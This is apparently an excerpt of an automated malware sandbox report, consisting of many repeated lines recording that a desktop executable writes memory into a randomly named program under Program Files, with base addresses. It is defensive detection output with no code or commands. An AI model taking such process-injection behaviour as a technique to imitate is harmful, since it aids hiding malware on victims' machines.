Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1190000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2310000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 520000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 830000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1580000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1360000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 13B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1570000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 940000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2930000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 780000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 790000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 12A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2540000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2910000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: EE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2480000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 800000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2820000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2970000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1340000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1350000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1280000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2370000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2170000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2450000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 24A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1310000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1320000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 990000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1110000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 920000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 970000 Jump to behavior
